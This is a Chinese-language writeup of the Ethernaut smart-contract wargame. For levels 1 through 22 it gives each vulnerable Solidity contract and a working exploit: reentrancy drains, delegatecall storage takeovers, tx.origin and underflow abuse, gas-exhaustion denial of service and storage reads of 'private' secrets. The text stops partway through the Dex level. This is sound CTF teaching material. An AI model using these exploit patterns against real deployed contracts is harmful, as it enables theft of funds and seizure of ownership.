OpenZeppelin Ethernaut Writeup
Ethernaut官网:
WriteUP 原文:
0 本地搭建 Ropsten 环境
Ethernaut 网站使用的测试网络是 Rinkeby,而它的水滴不太友好,于是参考其 文档 搭建了本地 Ropsten 环境..
- 安装
yarn
$ git clone git@github.com:OpenZeppelin/ethernaut.git
$ cd ethernaut && npm install yarn
$ node_modules/yarn/bin/yarn install
- 编译合约
$ node_modules/yarn/bin/yarn compile:contracts
- 修改环境
// ethernaut/client/src/constants.js
export const ACTIVE_NETWORK = NETWORKS.ROPSTEN
- 启动
$ node_modules/yarn/bin/yarn start:ethernaut
Compiled successfully!
You can now view client in the browser.
Local: http://localhost:3000/
On Your Network: http://10.1.11.175:3000/
Note that the development build is not optimized.
To create a production build, use npm run build.
- 访问
http://localhost:3000/
1. Fallback
题目
要求取出合约实例的全部 balance
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
contract Fallback {
using SafeMath for uint256;
mapping(address => uint256) public contributions;
address payable public owner;
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(msg.sender == owner, "caller is not the owner");
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
题解
调用
contribute()
后,再发送交易,会 fallback 进入到 recevie()
函数,最后 withdraw()
await contract.contribute({value: toWei("0.0001")})
await sendTransaction({value: toWei("0.0001"), from: player, data: "0x", to: contract.address})
await contract.withdraw()
await getBalance(contract.address)
"0"
2. Fallout
题目
要求获得 ownership
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
contract Fallout {
using SafeMath for uint256;
mapping(address => uint256) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner {
require(msg.sender == owner, "caller is not the owner");
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint256) {
return allocations[allocator];
}
}
题解
'构造函数'
Fal1out()
拼写错误,成了 public 函数,直接调用即可await contract.Fal1out()
await contract.owner()
"0xcF60d818200f23499ef4C88437e83da7A6d85AC7"
3. Coin Flip
题目
要求连续猜对10次,每个区块只能踩一次
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR =
57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
题解
在攻击合约中,计算出答案后传给目标合约
flip()
即可// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
interface ICoinFlip {
function flip(bool _guess) external returns (bool);
}
contract ExploitCoinFlip {
using SafeMath for uint256;
ICoinFlip target = ICoinFlip(0xb146b28ca8164E15C15FF28415EB821E7EF82Ef5);
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function attack() public {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
target.flip(side);
}
}
4. Telephone
题目
要求获得 ownership
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
题解
tx.origin
是外部账户地址,msg.sender
是提交或消息调用的发起方在自己的合约中调用
changeOwner()
即可// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface ITelephone {
function changeOwner(address _owner) external;
}
contract ExploitTelephone {
ITelephone target = ITelephone(0x4BF58D4613224d6BD0657F61ce9A46c30Cba2B67);
function attack() public {
target.changeOwner(msg.sender);
}
}
await contract.owner()
"0xcF60d818200f23499ef4C88437e83da7A6d85AC7"
5. Token
题目
要求获得超过20个 token
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint256) balances;
uint256 public totalSupply;
constructor(uint256 _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
题解
transfer()
函数中的 require
条件存在溢出:两个无符号整数相减,结果仍是无符号整数,必定大于等于0(await contract.balanceOf(player)).toString()
"20"
await contract.transfer("0x0000000000000000000000000000000000000000", ((await contract.balanceOf(player)).toNumber() + 1).toString())
(await contract.balanceOf(player)).toString()
"115792089237316195423570985008687907853269984665640564039457584007913129639935"
6. Delegation
题目
要求获得 ownership
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Delegate {
address public owner;
constructor(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result, ) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
题解
Delegation
合约将调用委托给 Delegate
对应函数,但修改自身账户状态,因此直接调用其 pwn()
函数即可await contract.owner()
"0x6Ea2A13523bDbB97ED54bF4892A2ec82dE117Fd9"
await contract.sendTransaction({data: web3.utils.keccak256("pwn()").slice(2, 2+8)})
await contract.owner()
"0xcF60d818200f23499ef4C88437e83da7A6d85AC7"
7. Force
题目
要求使得合约实例的 balance 大于0
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Force {
/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/
}
题解
利用
SELFDESTRUCT
强制发送 ETH// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract ExploitForce {
constructor(address payable target) public payable {
require(msg.value > 0);
selfdestruct(target);
}
}
8. Vault
题目
要求猜出答案
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
题解
两个知识点
- 合约部署时,其构造函数从
initCode
获取参数的方式
- 合约 storage 变量在状态树中的存储方式
两种思路
- 通过 EtherScan 查看合约部署时的 inputdata
- 通过
getStorageAt
向后端节点查询地址存储树
await contract.locked()
true
await contract.unlock(await web3.eth.getStorageAt(contract.address, 1))
await contract.locked()
false
9. King
题目
要求使得
receive()
函数无法成功执行,造成拒绝服务// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract King {
address payable king;
uint256 public prize;
address payable public owner;
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address payable) {
return king;
}
}
题解
king.transfer()
是个 CALL
调用,参考黄皮书,将执行目标地址的代码(如果存在的话)而
Solidity
编译的 EVM 代码,通常流程是检查 CALLVALUE
,如果大于0的话,dispatch 到对应的 payable receive()
或 payablefallback()
函数,失败则 REVERT
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface IKing {
function _king() external view returns (address payable);
}
contract ExploitKing {
address payable public target = 0x2c7654db6Fa01d33Eb596957f192B8DDc90A156E;
constructor() public payable {
require(msg.value > 1 ether);
}
function attack() public payable {
uint256 value = address(this).balance;
(bool success, ) = target.call.value(value)("");
success;
address payable king = (IKing(target))._king();
require(king == address(this), "target.king not changed");
}
}
10 Re-entrancy
题目
要求取出合约实例的全部 balance
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint256) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}
function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result, ) = msg.sender.call.value(_amount)("");
if (result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
题解
withdraw()
中先发起外部调用,后修改状态,是个典型的重入漏洞:攻击者可在外部调用中再次调用 withdraw()
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./Reentrance.sol";
contract ExploitReentrance2 {
Reentrance public target =
Reentrance(0x1d47Dd62f79FF4108eD115F44054D301dED116B2);
function attack() public payable {
uint256 amount = address(target).balance;
require(msg.value == amount);
target.donate.value(amount)(address(this));
target.withdraw(amount);
}
receive() external payable {
uint256 amount = msg.sender.balance;
if (amount > 0) {
Reentrance(msg.sender).withdraw(amount);
}
}
}
11. Elevator
题目
要求修改合约实例的
top
变量为 true// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Building {
function isLastFloor(uint256) external returns (bool);
}
contract Elevator {
bool public top;
uint256 public floor;
function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
题解
合约中存在对
building.isLastFloor()
的两次外部调用,攻击合约分别返回不同结果即可// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./Elevator.sol";
contract ExploitElevator {
Elevator public target =
Elevator(0x9Fe88Ab29D0251aD2f9FC9b7Fe58a0e71ed42D12);
function isLastFloor(uint256 _floor) public view returns (bool) {
uint256 floor = target.floor();
return (floor == _floor);
}
function attack() public {
uint256 floor = target.floor();
target.goTo(floor + 1);
}
}
12. Privacy
题目
要求获得 data[2] 的值
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
constructor(bytes32[3] memory _data) public {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
题解
类似题目 8.Vault,同样有两种方式解答,可以根据合约部署时的 inputdata,或是
getStorageAt
获取存储状态进阶在于:需要理解
Solidity
对成员状态的存储规则(含 packing);以及理解类型间转换规则参考
Solidity
文档即可await contract.locked()
true
await web3.eth.getStorageAt(contract.address, 5)
"0xb808c06e48b289ecd85b95944f0f9d4b3b3b72e3f1385bc01c8db1ea6ef65aa7"
const answer = (await web3.eth.getStorageAt(contract.address, 5)).slice(0, 2 + 32)
"0xb808c06e48b289ecd85b95944f0f9d4b"
await contract.unlock(answer)
await contract.locked()
false
13. Gatekeeper One
题目
要求绕过几个条件,成功调用
enter()
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
contract GatekeeperOne {
using SafeMath for uint256;
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(
uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)),
"GatekeeperOne: invalid gateThree part one"
);
require(
uint32(uint64(_gateKey)) != uint64(_gateKey),
"GatekeeperOne: invalid gateThree part two"
);
require(
uint32(uint64(_gateKey)) == uint16(tx.origin),
"GatekeeperOne: invalid gateThree part three"
);
_;
}
function enter(bytes8 _gateKey)
public
gateOne
gateTwo
gateThree(_gateKey)
returns (bool)
{
entrant = tx.origin;
return true;
}
}
题解
gateOne()
和 gateThree()
比较简单难点在于
gateTwo()
,要求调用剩余 gas 正好为 8192 的倍数容易写出如下解题合约,关键在于参数
gasCost
如何获取// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface IGatekeeperOne {
function enter(bytes8 _gateKey) external returns (bool);
}
contract ExploitGatekeeperOne {
address public target;
constructor() public {
target = 0xdfB8A45a119D20eD7aB9762901FE9Fccb4950898;
}
function attack(uint256 gasCost) public {
uint64 gateThreeKeyPart1 = uint64(0x00000000);
uint64 gateThreeKeyPart2 = uint64(0xFFFFFFFF00000000);
uint64 gateThreeKeyPart3 = uint64(uint16(tx.origin));
uint64 gateKey = gateThreeKeyPart1 + gateThreeKeyPart2 + gateThreeKeyPart3;
bytes8 _gateKey = bytes8(gateKey);
uint256 gas = gasleft();
uint256 sendGas = gas- gas % 8191;
sendGas = sendGas - 8191 * 10;
sendGas = sendGas + gasCost;
IGatekeeperOne(target).enter.gas(sendGas)(_gateKey);
}
}
多次尝试之后,我找到了两种方式
手动计算
随便以一个参数执行
attack
交易,失败后查看 EtherScan: Geth VM Trace Transaction,手动统计消耗的 gas从
Depth
为2的首条记录 [173] 开始,找到 GAS
OPCODE 为止 [232],累加 GasCost
这个例子中
[173].Gas - [232].Gas + [232].GasCost = 2891424 - 2891215 + 2 = 211
缺点是,EtherScan 只显示前1000行指令,如果合约再复杂些就不适用了
可以改用 Remix 调试器,只是不太直观;另外,Remix 在调试一个交易内的多个外部调用时存在 bug,这是另一个伤心的故事了...
备注
在这个过程中,我尝试对着黄皮书逐行理解 gas 消耗,最后发现有很多 OPCODE 无法对上,比如
CALL
的消耗;再有是 SLOAD
,有时候消耗多,有时候消耗少只能翻看
go-ethereum
源码,最后发现历史上很多 EIP 修改了 gas 的计算方式,比如 EIP-2929: Gas cost increases for state access opcodes而且此前在学习过程中,也发现对于区块难度的计算方式,源码与黄皮书存在出入
教训:黄皮书虽然经常更新,但并不靠谱
暴力尝试
利用
web3.eth.estimateGas()
的实现原理:后端节点二分折半得到 gas,执行交易,失败时抛出异常因此可以不断递增参数尝试
web3.eth.estimateGas()
,得到答案async function main() {
const targetContract = '0x7C85fD497a3C3b79e6Abc3E23f464A9Ed85Fe170';
const ContractABI = require('../build/contracts/ExploitGateKeeperOne.json').abi;
const contract = new ropstenWeb3.eth.Contract(ContractABI, targetContract);
for (var i = 0; i < 8192; i++) {
try {
const tx = contract.methods.attack(i);
const gas = await tx.estimateGas({from: commerceAccountAddr});
} catch (error) {
console.log(`attack(${i}) catch ${error.message}`);
continue;
};
console.log(`attack(${i}) success`);
break;
}
}
main();
输出
...
attack(207) catch Returned error: execution reverted
attack(208) catch Returned error: execution reverted
attack(209) catch Returned error: execution reverted
attack(210) catch Returned error: execution reverted
attack(211) success
14. Gatekeeper Two
题目
要求绕过几个条件,成功调用
enter()
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint256 x;
assembly {
x := extcodesize(caller())
}
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(
uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^
uint64(_gateKey) ==
uint64(0) - 1
);
_;
}
function enter(bytes8 _gateKey)
public
gateOne
gateTwo
gateThree(_gateKey)
returns (bool)
{
entrant = tx.origin;
return true;
}
}
题解
参考黄皮书公式 (85)
\mathbf{a}^* \equiv (\boldsymbol{\sigma}[s]_{\mathrm{n}}, \boldsymbol{\sigma}[s]_{\mathrm{b}} - v, \boldsymbol{\sigma}[s]_{\mathbf{s}}, \boldsymbol{\sigma}[s]_{\mathrm{c}})a∗≡(σ[s]n,σ[s]b−v,σ[s]s,σ[s]c)
合约部署过程中合约代码不存在,完成后才被赋值
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface IGatekeeperOne {
function enter(bytes8 _gateKey) external returns (bool);
}
contract ExploitGatekeeperTwo {
address public target = 0x8C847ef047b7275d5e1Dc4EB84d058092F7e1F2b;
constructor() public {
uint64 hash = uint64(bytes8(keccak256(abi.encodePacked(address(this)))));
uint64 gateKey = (uint64(0) - 1) ^ hash;
bytes8 _gateKey = bytes8(gateKey);
IGatekeeperOne(target).enter(_gateKey);
}
}
15. Naught Coin
题目
要求将自身账户余额全部取出
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract NaughtCoin is ERC20 {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint256 public timeLock = now + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
constructor(address _player) public ERC20("NaughtCoin", "0x0") {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value)
public
override
lockTokens
returns (bool)
{
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}
题解
lockTokens()
是个障眼法,通过 ERC20 的 approve()
和 transferFrom()
转出即可...(await contract.allowance(player, "0x2f4De7cf42847744B59D8189777b919F60fa8DB3")).toString()
"1000000000000000000000000"
await contract.approve("0x2f4De7cf42847744B59D8189777b919F60fa8DB3", (await contract.balanceOf(player)).toString())
await contract.transferFrom(player, '0x0000000000000000000000000000000000000000', (await contract.balanceOf(player)).toString())
(await contract.balanceOf(player)).toString()
"0"
16. Preservation
题目
要求获得 ownership
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint256 storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(
address _timeZone1LibraryAddress,
address _timeZone2LibraryAddress
) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint256 _timeStamp) public {
timeZone1Library.delegatecall(
abi.encodePacked(setTimeSignature, _timeStamp)
);
}
// set the time for timezone 2
function setSecondTime(uint256 _timeStamp) public {
timeZone2Library.delegatecall(
abi.encodePacked(setTimeSignature, _timeStamp)
);
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint256 storedTime;
function setTime(uint256 _time) public {
storedTime = _time;
}
}
题解
LibraryContract
和 Preservation
的 storage 布局并不相同,而 DELETEGATE
修改的是自身状态// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./Preservation.sol";
contract ExploitLibraryContract {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint256 storedTime;
function setTime(uint256 _time) public {
owner = address(_time);
}
}
contract ExploitPreservation {
Preservation public target = Preservation(0xc29450990169bB0c4Ec93b3AEaa803e64809b1c1);
function attack() public {
address exploit = address(new ExploitLibraryContract());
target.setFirstTime(uint256(exploit));
address timeZone1Library = target.timeZone1Library();
require(
exploit == timeZone1Library,
"setFirstTime delegatecall should modify timeZone1Library to exploit"
);
target.setFirstTime(uint256(msg.sender));
address owner = target.owner();
require(
msg.sender == owner,
"setFirstTime delegatecall should modify owner to msg.sender"
);
}
}
17. Recovery
题目
要求找回丢失的 0.5 ether
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
contract Recovery {
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}
contract SimpleToken {
using SafeMath for uint256;
// public variables
string public name;
mapping(address => uint256) public balances;
// constructor
constructor(
string memory _name,
address _creator,
uint256 _initialSupply
) public {
name = _name;
balances[_creator] = _initialSupply;
}
// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value.mul(10);
}
// allow transfers of tokens
function transfer(address _to, uint256 _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}
题解
找到其构造函数创建的
SimpleToken
实例地址,调用它的 destroy()
函数即可两种方式:
1.手工在 EtherScan 查看交易引起的 State Change
2.参考黄皮书公式(81),手动计算实例地址 (不过需要先在 EtherScan 查看部署交易的 Nonce,不如直接再查出实例地址了,手动计算是多此一举..)

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface ISimpleToken {
function destroy(address payable _to) external;
}
contract ExploitSimpleToken {
constructor() public {
ISimpleToken token = ISimpleToken(0x92db2C9dcc8e08f6ee013D3162Fc96d8a52CC1b2);
token.destroy(msg.sender);
}
}
18. MagicNumber
题目
要求提供一个 RUNTIME CODE 长度在 10 以内的合约,调用时返回 42
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract MagicNum {
address public solver;
constructor() public {}
function setSolver(address _solver) public {
solver = _solver;
}
/*
____________/\\\_______/\\\\\\\\\_____
__________/\\\\\_____/\\\///////\\\___
________/\\\/\\\____\///______\//\\\__
______/\\\/\/\\\______________/\\\/___
____/\\\/__\/\\\___________/\\\//_____
__/\\\\\\\\\\\\\\\\_____/\\\//________
_\///////////\\\//____/\\\/___________
___________\/\\\_____/\\\\\\\\\\\\\\\_
___________\///_____\///////////////__
*/
}
题解
1.先推导 RUNTIME CODE:
根据返回指令
RETURN
反推,它要求栈上前两个元素,分别为返回值 (42) 所在内存地址 (0) 和长度 (0x20)再根据内存指令
MSTORE
反推,它要求栈上前两个元素,分别表示待设置的数值 (42) 和内存地址 (0)得到汇编代码如下,正好长度为10
PUSH 0x2a ;; PUSH 42
PUSH 0
MSTORE
PUSH 0x20
PUSH 0
RETURN
转成 HEX 是
602a60005260206000f3
2.再推导 CreateCode
这个比较简单,找个合约编译后参考 BYTECODE 即可
var bytecode = "0x58600c8038038082843982f3602a60005260206000f3";
web3.eth.sendTransaction({ from: player, data: bytecode }, function(err,res){console.log(res)});
19. Alien Codex
要求获得 ownership
题目
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
import "../helpers/Ownable-05.sol";
contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;
modifier contacted() {
assert(contact);
_;
}
function make_contact() public {
contact = true;
}
function record(bytes32 _content) public contacted {
codex.push(_content);
}
function retract() public contacted {
codex.length--;
}
function revise(uint256 i, bytes32 _content) public contacted {
codex[i] = _content;
}
}
题解
类似题目 12.Privacy,需要了解
Solidity
中非变长 Array 的存储规则利用
revise()
可以任意指定 i
的漏洞,覆盖 owner
(slot0)await contract.make_contact()
var offset = '0x' + (2n ** 256n - BigInt(web3.utils.keccak256('0x' + '1'.padStart(64, '0')))).toString(16);
await contract.revise(offset, '0x000000000000000000000001cF60d818200f23499ef4C88437e83da7A6d85AC7')
await contract.owner()
"0xcF60d818200f23499ef4C88437e83da7A6d85AC7"
20. Denial
题目
要求造成
withdraw()
拒绝服务// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
contract Denial {
using SafeMath for uint256;
address public partner; // withdrawal partner - pay the gas, split the withdraw
address payable public constant owner = address(0xA9E);
uint256 timeLastWithdrawn;
mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint256 amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call.value(amountToSend)("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(
amountToSend
);
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint256) {
return address(this).balance;
}
}
题解
EVM 的执行需要消耗 gas,
partner.call.value(amountToSend)("");
调用了攻击合约,在 payable receive()
中将 gas 全部消耗即可方式
不断递归调用
withdraw()
消耗 gas// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface IDenial {
function setWithdrawPartner(address _partner) external;
function withdraw() external;
}
contract ExploitDenial {
IDenial public target = IDenial(0xE63901b33587E6a3BE40469249594b62702847c5);
function attack() public {
target.setWithdrawPartner(address(this));
}
fallback() external payable {
target.withdraw();
}
}
一个大坑
此前有印象读过文档说
assert(false)
会消耗 gas,测试发现不会..查看编译后的 BYTECODE 和最新文档后发现:
Solidity
0.8.0 之前的版本,将 assert
编译为 INVALID
,会消耗所有 gas;而 0.8.0 版本后,assert
编译为 REVERT
,不会消耗所有 gas参考
go-ethereum
源码// github.com/ethereum/go-ethereum@v1.10.6/core/vm/evm.go
func (evm *EVM) Call(caller ContractRef, addr common.Address, input []byte, gas uint64, value *big.Int) (ret []byte, leftOverGas uint64, err error)
ret, err = evm.interpreter.Run(contract, input, false)
gas = contract.Gas
if err != nil {
evm.StateDB.RevertToSnapshot(snapshot)
if err != ErrExecutionReverted {
gas = 0
}
}
return ret, gas, err
// github.com/ethereum/go-ethereum@v1.10.6/core/vm/interpreter.go
func (in *EVMInterpreter) Run(contract *Contract, input []byte, readOnly bool) (ret []byte, err error)
op = contract.GetOp(pc)
operation := in.cfg.JumpTable[op]
if operation == nil {
return nil, &ErrInvalidOpCode{opcode: op}
}
21. Shop
题目
要求以低于 100 的价格购买商品,同时
price()
消耗 gas 不能超过 3300// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Buyer {
function price() external view returns (uint256);
}
contract Shop {
uint256 public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price.gas(3300)() >= price && !isSold) {
isSold = true;
price = _buyer.price.gas(3300)();
}
}
}
题解
类似题目 11.Elevator,但有 gas 的限制
因为
SSTORE
的成本太高,所以无法在攻击合约中保存状态因此只能通过合约本身的状态变化,即
isSold
来判断是否二次调用失败版本
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./Shop.sol";
contract ExploitShop1 {
Shop private target = Shop(0xb19cAD5AD9895d3EECa44D55121277c8d5557B45);
function attack() public {
target.buy();
}
function price() public view returns (uint256 _price) {
bool isSold = target.isSold();
return isSold ? 0 : 100;
}
}
失败分析
仿照题目 13.Gatekeeper One,通过 Geth VM Trace Transaction: 分析,可以看到第[324]步
ExploitShop.price()
因 gas 不足而异常,而 gas 消耗的大头在第[274]步 Shop.isSold()
中,参考 EIP-2929: Gas cost increases for state access opcodes,在首次从 storage 中加载 isSold
变量时,需要消耗的 gas 是 2100而在 EIP-2929 之前的版本中,
sload
仅需消耗 800 gas,剩余 gas 明显足够完成解题优化版本
再次分析 BYTECODE,发现失败版本距离成功需要的 gas,差距不是很大;而失败版本还有大量 gas 是消耗在做条件检查,所以尝试优化
首先尝试
Solidity
编译时的优化选项,调到最高后再次测试,还是失败...原因也很好理解:条件检查是必须的,无法优化因此只能手写
assembly
,跳过诸如目标地址是否存在代码,剩余 gas 是否足够等等条件检查,再次测试终于搞定..// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./Shop.sol";
contract ExploitShop {
Shop private target = Shop(0xb19cAD5AD9895d3EECa44D55121277c8d5557B45);
function attack() public {
target.buy();
}
function price() public view returns (uint256 _price) {
assembly {
mstore(0x80, 0xe852e74100000000000000000000000000000000000000000000000000000000)
let success := staticcall(1000000, 0xb19cAD5AD9895d3EECa44D55121277c8d5557B45, 0x80, 4, 0x80, 32)
switch success
case 0 {
revert(0, 100)
}
case 1 {
let isSold := mload(0x80)
switch isSold
case 0 {
_price := 100
}
case 1 {
_price := 0
}
}
}
}
}
优化
- 变量一律设置为
private
,确保合约被调用时,根据 selector dispatch 时不会检查多余函数
isSold()
函数签名不通过abi.encodeWithSelector()
计算,而是直接硬编码0xe852e741
staticcall()
第2个参数,目标合约不通过sload(0)
加载target
,而是直接使用硬编码
潜在优化
最终存在两个公共函数,可以手动调整 RUNTIME BYTECODE dispatch 流程,优先处理
price()
22. Dex
题目
要起将 DEX 中的
token1
或 token2
全部提取// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
contract Dex {
using SafeMath for uint256;
address public token1;
address public token2;
constructor(address _token1, address _token2) public {
token1 = _token1;
token2 = _token2;
}
